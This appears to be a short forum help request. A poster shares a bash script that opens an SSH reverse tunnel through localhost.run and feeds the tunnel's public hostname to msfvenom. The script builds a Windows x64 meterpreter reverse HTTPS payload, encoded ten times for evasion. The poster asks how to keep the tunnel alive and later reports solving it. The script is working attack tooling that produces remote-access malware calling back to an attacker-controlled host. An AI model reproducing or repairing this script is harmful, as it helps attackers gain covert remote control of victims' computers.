This is my current code. It hang's after executing the ssh command.
#!/bin/bash
ssh_output=$(ssh -f -R 80:localhost.run:80 localhost.run 2>&1)
line_23=$(echo "$ssh_output" | sed -n '23s/ .*//p')
echo $line_23 > line_23.txt
LHOST_value="$line_23"
msfvenom_command="msfvenom -p windows/x64/meterpreter_reverse_https -e x64/zutto_dekiru -i 10 -f raw LHOST=$LHOST_value LPORT=80 HandlerSSLCert=/home/jeremy/Desktop/msf/cert.pem -o Bitch.bin"
gnome-terminal -- bash -c "$msfvenom_command"
I need it to have the original ssh command still running and run msfvenom separately.
If anyone was wondering. I figured it out.